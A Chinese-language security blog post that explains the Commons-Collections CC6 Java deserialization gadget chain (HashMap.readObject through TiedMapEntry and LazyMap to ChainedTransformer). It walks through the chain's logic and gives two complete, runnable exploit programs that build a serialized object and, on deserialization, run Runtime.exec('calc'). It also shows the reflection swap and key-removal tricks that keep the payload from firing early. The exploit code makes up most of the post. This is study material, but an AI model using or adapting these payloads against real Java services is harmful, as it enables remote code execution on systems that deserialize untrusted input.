Commons-Collections 篇 --CC6

CC6

环境

jdk8u71之后,AnnotationInvocationHandler.readObject 的写法改变,导致 CC1 链用不了

也就是导致
AnnotationInvocationHandler.readObject
AnnotationInvocationHandler.invoke.memberValues.get
不能用了

cc6和cc1类似,但是cc6不受jdk版本影响
所以现在的目的就是要找一个替代

后面LazyMap.get.ChainedTransformer.transform与CC1一样
走的是HashMap.readObjexct———->TiedMapEntry.hashCode————->LazyMap,get()

分析

漏洞分析

  • 上面提到的流程和cc1有相同的地方,先把代码写出来

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    public class CC6Test {
        public static void main(String[] args) throws IOException, ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException {
    
            Transformer[] transformers = new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
            };
            ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    
    
            HashMap<Object, Object> map = new HashMap<>();
    //        map.put("value", "12");
            Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
            
    	//构造        
            
    
    
    
    
    
            
            
            
        }
        public static void serialize(Object obj) throws IOException {
            ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
            oos.writeObject(obj);
        }
        public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
            ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
            Object obj = ois.readObject();
            return obj;
        }
    }

主要是TiedMapEntry.hashCode调用了get

  • 进到TiedMapEntry看看

    image-20251125143226742

    image-20251125143235470

    hashCode调用了getValue,而getValue方法返回的是get()

  • 看TiedMapEntry的构造

    1
    2
    3
    4
    5
    public TiedMapEntry(Map map, Object key) {
        super();
        this.map = map;
        this.key = key;
    }
  • 根据构造写测试链

    1
    2
    3
    4
    5
    6
    7
    TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
    HashMap<Object, Object> map2= new HashMap<>();
    map2.put(tiedMapEntry, "bbb");
    //不能直接序列化反序列化,需要先构造一个TiedMapEntry
    //因为这里有put,(前面的urlDNS链说过这个问题)
    serialize(map2);
    //仅仅测试

    image-20251125144106395

    发现序列化的时候就弹出(正常是反序列化的时候弹)

  • 按照URLDNS的思路修改上面的代码

    目前来看是:

    1
    tiedMapEntry-------lazyMap---------chainedTransformer--------transformers

    put只要不触发,所以改这四个哪一个都行(利用反射改值)

    eg:(改chainedTransformer)

    1
    2
    3
    4
    Class c =LazyMap.class;
    Field factoryFiled = c.getDeclaredField("factory");
    factoryFiled.setAccessible(true);
    factoryFiled.set(lazyMap,chainedTransformer);

    image-20251125145120192

    也就是说先给put一个正常的Transformer(ConstantTransformer)

    ConstantTransformer(1).transform() 不会执行命令,只会返回 1

    后面序列化的时候改值 将 lazyMap 对象中的 factory 字段的值,替换为chainedTransformer 对象

  • 但是序列化不执行,反序列化也没执行????

    由于put的时候已经将hashcode消耗掉了

    1
    2
    3
    4
    5
    6
    7
    8
    9
    LazyMap.get("aaa"):
        如果 map 里没有 key "aaa":
             调用 factory.transform("aaa")
             并把结果 put 进去
             
    如果 lazyMap 中 “aaa” 已经存在,则:
    	再次访问时 不会 调用 transformer(不会触发链)
    如果 lazyMap 中 “aaa” 不存在,则:
    	再次访问时 必须 调用 transformer(触发链)

    put的时候,在hashcode里面已经存在了一个key(aaa),在反序列化的时候还是那个key(aaa)

    所以现在就要在put之后把key删除

    1
    lazyMap.remove("aaa");

漏洞构造

结合上面所说构造exp

删除ChainedTransformer的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class CC6Test {
    public static void main(String[] args) throws IOException, ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException {

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);


        HashMap<Object, Object> map = new HashMap<>();
//        map.put("value", "12");
        //为了避免在构造阶段提前触发链子,利用new ConstantTransformer(1)先将一个值传给put,到下一步再修改
        //ConstantTransformer(1).transform() 不会执行命令,只会返回 1
        Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));

//构造(cc6不同cc1)
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
        HashMap<Object, Object> map2= new HashMap<>();
        map2.put(tiedMapEntry, "bbb");
        
        //删除写入的key,以保证可以反序列化执行命令
        lazyMap.remove("aaa");
        //不能直接序列化反序列化,需要先构造一个TiedMapEntry
        //因为这里有put,(前面的urlDNS链说过这个问题)
        
        Class c =LazyMap.class;
        Field factoryFiled = c.getDeclaredField("factory");
        factoryFiled.setAccessible(true);
        
        //将 `lazyMap` 对象中的 `factory` 字段的值,替换为`chainedTransformer` 对象
        factoryFiled.set(lazyMap,chainedTransformer);

        serialize(map2);
        unserialize("ser.bin");



    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

删除Transformer的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class Test {
    public static void main(String[] args) throws IOException, ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException {
		//伪造transformers为 ConstantTransformer(1)
        // ConstantTransformer(1)不会执行代码
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(1)
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object, Object> map = new HashMap<>();
        Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
        //将伪造的替换成真的
        Transformer[] real = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        //构造TiedMapEntry的触发点
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
        HashMap<Object, Object> map2= new HashMap<>();
        map2.put(tiedMapEntry, "bbb");
        
        //删除写入的key,以保证可以反序列化执行命令
        lazyMap.remove("aaa");
        
        //不能直接序列化反序列化,需要先构造一个TiedMapEntry
        //因为这里有put,(前面的urlDNS链说过这个问题)
        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        // 替换假链为真链
        f.set(chainedTransformer, real);
        //序列化&反序列化
        serialize(map2);
        unserialize("ser.bin");


    }
    
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

总结流程

  • HashMap.readObject()
  • 计算 key 的 hash
  • 调用 entry.hashCode()
  • entry.getValue()
  • LazyMap.get()
  • transformer.transform()
  • 恶意链执行

image-20251125203913593

image-20250427210417295

依旧引用 bxhhf的文章:cc6


Commons-Collections 篇 --CC6
http://example.com/2025/11/25/CC6/
作者
Piggy Sprint
发布于
2025年11月25日
许可协议